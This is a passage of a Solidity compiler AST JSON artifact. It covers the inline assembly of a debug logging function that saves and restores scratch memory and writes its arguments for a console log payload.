[{"name":"shift","nativeSrc":"296809:5:22","nodeType":"YulIdentifier","src":"296809:5:22"},{"name":"w","nativeSrc":"296816:1:22","nodeType":"YulIdentifier","src":"296816:1:22"}],"functionName":{"name":"shr","nativeSrc":"296805:3:22","nodeType":"YulIdentifier","src":"296805:3:22"},"nativeSrc":"296805:13:22","nodeType":"YulFunctionCall","src":"296805:13:22"}],"functionName":{"name":"shl","nativeSrc":"296794:3:22","nodeType":"YulIdentifier","src":"296794:3:22"},"nativeSrc":"296794:25:22","nodeType":"YulFunctionCall","src":"296794:25:22"}],"functionName":{"name":"mstore","nativeSrc":"296771:6:22","nodeType":"YulIdentifier","src":"296771:6:22"},"nativeSrc":"296771:49:22","nodeType":"YulFunctionCall","src":"296771:49:22"},"nativeSrc":"296771:49:22","nodeType":"YulExpressionStatement","src":"296771:49:22"}]},"name":"writeString","nativeSrc":"296492:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"296513:3:22","nodeType":"YulTypedName","src":"296513:3:22","type":""},{"name":"w","nativeSrc":"296518:1:22","nodeType":"YulTypedName","src":"296518:1:22","type":""}],"src":"296492:342:22"},{"nativeSrc":"296847:17:22","nodeType":"YulAssignment","src":"296847:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"296859:4:22","nodeType":"YulLiteral","src":"296859:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"296853:5:22","nodeType":"YulIdentifier","src":"296853:5:22"},"nativeSrc":"296853:11:22","nodeType":"YulFunctionCall","src":"296853:11:22"},"variableNames":[{"name":"m0","nativeSrc":"296847:2:22","nodeType":"YulIdentifier","src":"296847:2:22"}]},{"nativeSrc":"296877:17:22","nodeType":"YulAssignment","src":"296877:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"296889:4:22","nodeType":"YulLiteral","src":"296889:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"296883:5:22","nodeType":"YulIdentifier","src":"296883:5:22"},"nativeSrc":"296883:11:22","nodeType":"YulFunctionCall","src":"296883:11:22"},"variableNames":[{"name":"m1","nativeSrc":"296877:2:22","nodeType":"YulIdentifier","src":"296877:2:22"}]},{"nativeSrc":"296907:17:22","nodeType":"YulAssignment","src":"296907:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"296919:4:22","nodeType":"YulLiteral","src":"296919:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"296913:5:22","nodeType":"YulIdentifier","src":"296913:5:22"},"nativeSrc":"296913:11:22","nodeType":"YulFunctionCall","src":"296913:11:22"},"variableNames":[{"name":"m2","nativeSrc":"296907:2:22","nodeType":"YulIdentifier","src":"296907:2:22"}]},{"nativeSrc":"296937:17:22","nodeType":"YulAssignment","src":"296937:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"296949:4:22","nodeType":"YulLiteral","src":"296949:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"296943:5:22","nodeType":"YulIdentifier","src":"296943:5:22"},"nativeSrc":"296943:11:22","nodeType":"YulFunctionCall","src":"296943:11:22"},"variableNames":[{"name":"m3","nativeSrc":"296937:2:22","nodeType":"YulIdentifier","src":"296937:2:22"}]},{"nativeSrc":"296967:17:22","nodeType":"YulAssignment","src":"296967:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"296979:4:22","nodeType":"YulLiteral","src":"296979:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"296973:5:22","nodeType":"YulIdentifier","src":"296973:5:22"},"nativeSrc":"296973:11:22","nodeType":"YulFunctionCall","src":"296973:11:22"},"variableNames":[{"name":"m4","nativeSrc":"296967:2:22","nodeType":"YulIdentifier","src":"296967:2:22"}]},{"nativeSrc":"296997:17:22","nodeType":"YulAssignment","src":"296997:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"297009:4:22","nodeType":"YulLiteral","src":"297009:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"297003:5:22","nodeType":"YulIdentifier","src":"297003:5:22"},"nativeSrc":"297003:11:22","nodeType":"YulFunctionCall","src":"297003:11:22"},"variableNames":[{"name":"m5","nativeSrc":"296997:2:22","nodeType":"YulIdentifier","src":"296997:2:22"}]},{"nativeSrc":"297027:17:22","nodeType":"YulAssignment","src":"297027:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"297039:4:22","nodeType":"YulLiteral","src":"297039:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"297033:5:22","nodeType":"YulIdentifier","src":"297033:5:22"},"nativeSrc":"297033:11:22","nodeType":"YulFunctionCall","src":"297033:11:22"},"variableNames":[{"name":"m6","nativeSrc":"297027:2:22","nodeType":"YulIdentifier","src":"297027:2:22"}]},{"nativeSrc":"297057:17:22","nodeType":"YulAssignment","src":"297057:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"297069:4:22","nodeType":"YulLiteral","src":"297069:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"297063:5:22","nodeType":"YulIdentifier","src":"297063:5:22"},"nativeSrc":"297063:11:22","nodeType":"YulFunctionCall","src":"297063:11:22"},"variableNames":[{"name":"m7","nativeSrc":"297057:2:22","nodeType":"YulIdentifier","src":"297057:2:22"}]},{"nativeSrc":"297087:18:22","nodeType":"YulAssignment","src":"297087:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"297099:5:22","nodeType":"YulLiteral","src":"297099:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"297093:5:22","nodeType":"YulIdentifier","src":"297093:5:22"},"nativeSrc":"297093:12:22","nodeType":"YulFunctionCall","src":"297093:12:22"},"variableNames":[{"name":"m8","nativeSrc":"297087:2:22","nodeType":"YulIdentifier","src":"297087:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297190:4:22","nodeType":"YulLiteral","src":"297190:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"297196:10:22","nodeType":"YulLiteral","src":"297196:10:22","type":"","value":"0xd583c602"}],"functionName":{"name":"mstore","nativeSrc":"297183:6:22","nodeType":"YulIdentifier","src":"297183:6:22"},"nativeSrc":"297183:24:22","nodeType":"YulFunctionCall","src":"297183:24:22"},"nativeSrc":"297183:24:22","nodeType":"YulExpressionStatement","src":"297183:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297227:4:22","nodeType":"YulLiteral","src":"297227:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"297233:2:22","nodeType":"YulIdentifier","src":"297233:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297220:6:22","nodeType":"YulIdentifier","src":"297220:6:22"},"nativeSrc":"297220:16:22","nodeType":"YulFunctionCall","src":"297220:16:22"},"nativeSrc":"297220:16:22","nodeType":"YulExpressionStatement","src":"297220:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297256:4:22","nodeType":"YulLiteral","src":"297256:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"297262:4:22","nodeType":"YulLiteral","src":"297262:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"297249:6:22","nodeType":"YulIdentifier","src":"297249:6:22"},"nativeSrc":"297249:18:22","nodeType":"YulFunctionCall","src":"297249:18:22"},"nativeSrc":"297249:18:22","nodeType":"YulExpressionStatement","src":"297249:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297287:4:22","nodeType":"YulLiteral","src":"297287:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"297293:4:22","nodeType":"YulLiteral","src":"297293:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"297280:6:22","nodeType":"YulIdentifier","src":"297280:6:22"},"nativeSrc":"297280:18:22","nodeType":"YulFunctionCall","src":"297280:18:22"},"nativeSrc":"297280:18:22","nodeType":"YulExpressionStatement","src":"297280:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297318:4:22","nodeType":"YulLiteral","src":"297318:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"297324:2:22","nodeType":"YulIdentifier","src":"297324:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297311:6:22","nodeType":"YulIdentifier","src":"297311:6:22"},"nativeSrc":"297311:16:22","nodeType":"YulFunctionCall","src":"297311:16:22"},"nativeSrc":"297311:16:22","nodeType":"YulExpressionStatement","src":"297311:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297352:4:22","nodeType":"YulLiteral","src":"297352:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"297358:2:22","nodeType":"YulIdentifier","src":"297358:2:22"}],"functionName":{"name":"writeString","nativeSrc":"297340:11:22","nodeType":"YulIdentifier","src":"297340:11:22"},"nativeSrc":"297340:21:22","nodeType":"YulFunctionCall","src":"297340:21:22"},"nativeSrc":"297340:21:22","nodeType":"YulExpressionStatement","src":"297340:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297386:4:22","nodeType":"YulLiteral","src":"297386:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"297392:2:22","nodeType":"YulIdentifier","src":"297392:2:22"}],"functionName":{"name":"writeString","nativeSrc":"297374:11:22","nodeType":"YulIdentifier","src":"297374:11:22"},"nativeSrc":"297374:21:22","nodeType":"YulFunctionCall","src":"297374:21:22"},"nativeSrc":"297374:21:22","nodeType":"YulExpressionStatement","src":"297374:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43560,"isOffset":false,"isSlot":false,"src":"296847:2:22","valueSize":1},{"declaration":43563,"isOffset":false,"isSlot":false,"src":"296877:2:22","valueSize":1},{"declaration":43566,"isOffset":false,"isSlot":false,"src":"296907:2:22","valueSize":1},{"declaration":43569,"isOffset":false,"isSlot":false,"src":"296937:2:22","valueSize":1},{"declaration":43572,"isOffset":false,"isSlot":false,"src":"296967:2:22","valueSize":1},{"declaration":43575,"isOffset":false,"isSlot":false,"src":"296997:2:22","valueSize":1},{"declaration":43578,"isOffset":false,"isSlot":false,"src":"297027:2:22","valueSize":1},{"declaration":43581,"isOffset":false,"isSlot":false,"src":"297057:2:22","valueSize":1},{"declaration":43584,"isOffset":false,"isSlot":false,"src":"297087:2:22","valueSize":1},{"declaration":43550,"isOffset":false,"isSlot":false,"src":"297233:2:22","valueSize":1},{"declaration":43552,"isOffset":false,"isSlot":false,"src":"297358:2:22","valueSize":1},{"declaration":43554,"isOffset":false,"isSlot":false,"src":"297392:2:22","valueSize":1},{"declaration":43556,"isOffset":false,"isSlot":false,"src":"297324:2:22","valueSize":1}],"id":43586,"nodeType":"InlineAssembly","src":"296469:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43588,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"297430:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":43589,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"297436:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":43587,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"297414:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43590,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"297414:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43591,"nodeType":"ExpressionStatement","src":"297414:28:22"},{"AST":{"nativeSrc":"297461:273:22","nodeType":"YulBlock","src":"297461:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"297482:4:22","nodeType":"YulLiteral","src":"297482:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"297488:2:22","nodeType":"YulIdentifier","src":"297488:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297475:6:22","nodeType":"YulIdentifier","src":"297475:6:22"},"nativeSrc":"297475:16:22","nodeType":"YulFunctionCall","src":"297475:16:22"},"nativeSrc":"297475:16:22","nodeType":"YulExpressionStatement","src":"297475:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297511:4:22","nodeType":"YulLiteral","src":"297511:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"297517:2:22","nodeType":"YulIdentifier","src":"297517:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297504:6:22","nodeType":"YulIdentifier","src":"297504:6:22"},"nativeSrc":"297504:16:22","nodeType":"YulFunctionCall","src":"297504:16:22"},"nativeSrc":"297504:16:22","nodeType":"YulExpressionStatement","src":"297504:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297540:4:22","nodeType":"YulLiteral","src":"297540:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"297546:2:22","nodeType":"YulIdentifier","src":"297546:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297533:6:22","nodeType":"YulIdentifier","src":"297533:6:22"},"nativeSrc":"297533:16:22","nodeType":"YulFunctionCall","src":"297533:16:22"},"nativeSrc":"297533:16:22","nodeType":"YulExpressionStatement","src":"297533:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297569:4:22","nodeType":"YulLiteral","src":"297569:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"297575:2:22","nodeType":"YulIdentifier","src":"297575:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297562:6:22","nodeType":"YulIdentifier","src":"297562:6:22"},"nativeSrc":"297562:16:22","nodeType":"YulFunctionCall","src":"297562:16:22"},"nativeSrc":"297562:16:22","nodeType":"YulExpressionStatement","src":"297562:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297598:4:22","nodeType":"YulLiteral","src":"297598:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"297604:2:22","nodeType":"YulIdentifier","src":"297604:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297591:6:22","nodeType":"YulIdentifier","src":"297591:6:22"},"nativeSrc":"297591:16:22","nodeType":"YulFunctionCall","src":"297591:16:22"},"nativeSrc":"297591:16:22","nodeType":"YulExpressionStatement","src":"297591:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297627:4:22","nodeType":"YulLiteral","src":"297627:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"297633:2:22","nodeType":"YulIdentifier","src":"297633:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297620:6:22","nodeType":"YulIdentifier","src":"297620:6:22"},"nativeSrc":"297620:16:22","nodeType":"YulFunctionCall","src":"297620:16:22"},"nativeSrc":"297620:16:22","nodeType":"YulExpressionStatement","src":"297620:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297656:4:22","nodeType":"YulLiteral","src":"297656:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"297662:2:22","nodeType":"YulIdentifier","src":"297662:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297649:6:22","nodeType":"YulIdentifier","src":"297649:6:22"},"nativeSrc":"297649:16:22","nodeType":"YulFunctionCall","src":"297649:16:22"},"nativeSrc":"297649:16:22","nodeType":"YulExpressionStatement","src":"297649:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297685:4:22","nodeType":"YulLiteral","src":"297685:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"297691:2:22","nodeType":"YulIdentifier","src":"297691:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297678:6:22","nodeType":"YulIdentifier","src":"297678:6:22"},"nativeSrc":"297678:16:22","nodeType":"YulFunctionCall","src":"297678:16:22"},"nativeSrc":"297678:16:22","nodeType":"YulExpressionStatement","src":"297678:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"297714:5:22","nodeType":"YulLiteral","src":"297714:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"297721:2:22","nodeType":"YulIdentifier","src":"297721:2:22"}],"functionName":{"name":"mstore","nativeSrc":"297707:6:22","nodeType":"YulIdentifier","src":"297707:6:22"},"nativeSrc":"297707:17:22","nodeType":"YulFunctionCall","src":"297707:17:22"},"nativeSrc":"297707:17:22","nodeType":"YulExpressionStatement","src":"297707:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43560,"isOffset":false,"isSlot":false,"src":"297488:2:22","valueSize":1},{"declaration":43563,"isOffset":false,"isSlot":false,"src":"297517:2:22","valueSize":1},{"declaration":43566,"isOffset":false,"isSlot":false,"src":"297546:2:22","valueSize":1},{"declaration":43569,"isOffset":false,"isSlot":false,"src":"297575:2:22","valueSize":1},{"declaration":43572,"isOffset":false,"isSlot":false,"src":"297604:2:22","valueSize":1},{"declaration":43575,"isOffset":false,"isSlot":false,"src":"297633:2:22","valueSize":1},{"declaration":43578,"isOffset":false,"isSlot":false,"src":"297662:2:22","valueSize":1},{"declaration":43581,"isOffset":false,"isSlot":false,"src":"297691:2:22","valueSize":1},{"declaration":43584,"isOffset":false,"isSlot":false,"src":"297721:2:22","valueSize":1}],"id":43592,"nodeType":"InlineAssembly","src":"297452:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"296213:3:22","parameters":{"id":43557,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43550,"mutability":"mutable","name":"p0","nameLocation":"296225:2:22","nodeType":"VariableDeclaration","scope":43594,"src":"296217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43549,"name":"uint256","nodeType":"ElementaryTypeName","src":"296217:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43552,"mutability":"mutable","name":"p1","nameLocation":"296237:2:22","nodeType":"VariableDeclaration","scope":43594,"src":"296229:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43551,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296229:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43554,"mutability":"mutable","name":"p2","nameLocation":"296249:2:22","nodeType":"VariableDeclaration","scope":43594,"src":"296241:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43553,"name":"bytes32","nodeType":"ElementaryTypeName","src":"296241:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43556,"mutability":"mutable","name":"p3","nameLocation":"296261:2:22","nodeType":"VariableDeclaration","scope":43594,"src":"296253:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43555,"name":"address","nodeType":"ElementaryTypeName","src":"296253:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"296216:48:22"},"returnParameters":{"id":43558,"nodeType":"ParameterList","parameters":[],"src":"296279:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43640,"nodeType":"FunctionDefinition","src":"297746:1530:22","nodes":[],"body":{"id":43639,"nodeType":"Block","src":"297818:1458:22","nodes":[],"statements":[{"assignments":[43606],"declarations":[{"constant":false,"id":43606,"mutability":"mutable","name":"m0","nameLocation":"297836:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297828:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43605,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297828:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43607,"nodeType":"VariableDeclarationStatement","src":"297828:10:22"},{"assignments":[43609],"declarations":[{"constant":false,"id":43609,"mutability":"mutable","name":"m1","nameLocation":"297856:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297848:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43608,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297848:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43610,"nodeType":"VariableDeclarationStatement","src":"297848:10:22"},{"assignments":[43612],"declarations":[{"constant":false,"id":43612,"mutability":"mutable","name":"m2","nameLocation":"297876:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297868:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43611,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297868:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43613,"nodeType":"VariableDeclarationStatement","src":"297868:10:22"},{"assignments":[43615],"declarations":[{"constant":false,"id":43615,"mutability":"mutable","name":"m3","nameLocation":"297896:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297888:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43614,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297888:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43616,"nodeType":"VariableDeclarationStatement","src":"297888:10:22"},{"assignments":[43618],"declarations":[{"constant":false,"id":43618,"mutability":"mutable","name":"m4","nameLocation":"297916:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297908:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43617,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297908:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43619,"nodeType":"VariableDeclarationStatement","src":"297908:10:22"},{"assignments":[43621],"declarations":[{"constant":false,"id":43621,"mutability":"mutable","name":"m5","nameLocation":"297936:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297928:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43620,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297928:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43622,"nodeType":"VariableDeclarationStatement","src":"297928:10:22"},{"assignments":[43624],"declarations":[{"constant":false,"id":43624,"mutability":"mutable","name":"m6","nameLocation":"297956:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297948:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297948:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43625,"nodeType":"VariableDeclarationStatement","src":"297948:10:22"},{"assignments":[43627],"declarations":[{"constant":false,"id":43627,"mutability":"mutable","name":"m7","nameLocation":"297976:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297968:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43626,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297968:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43628,"nodeType":"VariableDeclarationStatement","src":"297968:10:22"},{"assignments":[43630],"declarations":[{"constant":false,"id":43630,"mutability":"mutable","name":"m8","nameLocation":"297996:2:22","nodeType":"VariableDeclaration","scope":43639,"src":"297988:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43629,"name":"bytes32","nodeType":"ElementaryTypeName","src":"297988:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43631,"nodeType":"VariableDeclarationStatement","src":"297988:10:22"},{"AST":{"nativeSrc":"298017:924:22","nodeType":"YulBlock","src":"298017:924:22","statements":[{"body":{"nativeSrc":"298060:313:22","nodeType":"YulBlock","src":"298060:313:22","statements":[{"nativeSrc":"298078:15:22","nodeType":"YulVariableDeclaration","src":"298078:15:22","value":{"kind":"number","nativeSrc":"298092:1:22","nodeType":"YulLiteral","src":"298092:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"298082:6:22","nodeType":"YulTypedName","src":"298082:6:22","type":""}]},{"body":{"nativeSrc":"298163:40:22","nodeType":"YulBlock","src":"298163:40:22","statements":[{"body":{"nativeSrc":"298192:9:22","nodeType":"YulBlock","src":"298192:9:22","statements":[{"nativeSrc":"298194:5:22","nodeType":"YulBreak","src":"298194:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"298180:6:22","nodeType":"YulIdentifier","src":"298180:6:22"},{"name":"w","nativeSrc":"298188:1:22","nodeType":"YulIdentifier","src":"298188:1:22"}],"functionName":{"name":"byte","nativeSrc":"298175:4:22","nodeType":"YulIdentifier","src":"298175:4:22"},"nativeSrc":"298175:15:22","nodeType":"YulFunctionCall","src":"298175:15:22"}],"functionName":{"name":"iszero","nativeSrc":"298168:6:22","nodeType":"YulIdentifier","src":"298168:6:22"},"nativeSrc":"298168:23:22","nodeType":"YulFunctionCall","src":"298168:23:22"},"nativeSrc":"298165:36:22","nodeType":"YulIf","src":"298165:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"298120:6:22","nodeType":"YulIdentifier","src":"298120:6:22"},{"kind":"number","nativeSrc":"298128:4:22","nodeType":"YulLiteral","src":"298128:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"298117:2:22","nodeType":"YulIdentifier","src":"298117:2:22"},"nativeSrc":"298117:16:22","nodeType":"YulFunctionCall","src":"298117:16:22"},"nativeSrc":"298110:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"298134:28:22","nodeType":"YulBlock","src":"298134:28:22","statements":[{"nativeSrc":"298136:24:22","nodeType":"YulAssignment","src":"298136:24:22","value":{"arguments":[{"name":"length","nativeSrc":"298150:6:22","nodeType":"YulIdentifier","src":"298150:6:22"},{"kind":"number","nativeSrc":"298158:1:22","nodeType":"YulLiteral","src":"298158:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"298146:3:22","nodeType":"YulIdentifier","src":"298146:3:22"},"nativeSrc":"298146:14:22","nodeType":"YulFunctionCall","src":"298146:14:22"},"variableNames":[{"name":"length","nativeSrc":"298136:6:22","nodeType":"YulIdentifier","src":"298136:6:22"}]}]},"pre":{"nativeSrc":"298114:2:22","nodeType":"YulBlock","src":"298114:2:22","statements":[]},"src":"298110:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"298227:3:22","nodeType":"YulIdentifier","src":"298227:3:22"},{"name":"length","nativeSrc":"298232:6:22","nodeType":"YulIdentifier","src":"298232:6:22"}],"functionName":{"name":"mstore","nativeSrc":"298220:6:22","nodeType":"YulIdentifier","src":"298220:6:22"},"nativeSrc":"298220:19:22","nodeType":"YulFunctionCall","src":"298220:19:22"},"nativeSrc":"298220:19:22","nodeType":"YulExpressionStatement","src":"298220:19:22"},{"nativeSrc":"298256:37:22","nodeType":"YulVariableDeclaration","src":"298256:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"298273:3:22","nodeType":"YulLiteral","src":"298273:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"298282:1:22","nodeType":"YulLiteral","src":"298282:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"298285:6:22","nodeType":"YulIdentifier","src":"298285:6:22"}],"functionName":{"name":"shl","nativeSrc":"298278:3:22","nodeType":"YulIdentifier","src":"298278:3:22"},"nativeSrc":"298278:14:22","nodeType":"YulFunctionCall","src":"298278:14:22"}],"functionName":{"name":"sub","nativeSrc":"298269:3:22","nodeType":"YulIdentifier","src":"298269:3:22"},"nativeSrc":"298269:24:22","nodeType":"YulFunctionCall","src":"298269:24:22"},"variables":[{"name":"shift","nativeSrc":"298260:5:22","nodeType":"YulTypedName","src":"298260:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"298321:3:22","nodeType":"YulIdentifier","src":"298321:3:22"},{"kind":"number","nativeSrc":"298326:4:22","nodeType":"YulLiteral","src":"298326:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"298317:3:22","nodeType":"YulIdentifier","src":"298317:3:22"},"nativeSrc":"298317:14:22","nodeType":"YulFunctionCall","src":"298317:14:22"},{"arguments":[{"name":"shift","nativeSrc":"298337:5:22","nodeType":"YulIdentifier","src":"298337:5:22"},{"arguments":[{"name":"shift","nativeSrc":"298348:5:22","nodeType":"YulIdentifier","src":"298348:5:22"},{"name":"w","nativeSrc":"298355:1:22","nodeType":"YulIdentifier","src":"298355:1:22"}],"functionName":{"name":"shr","nativeSrc":"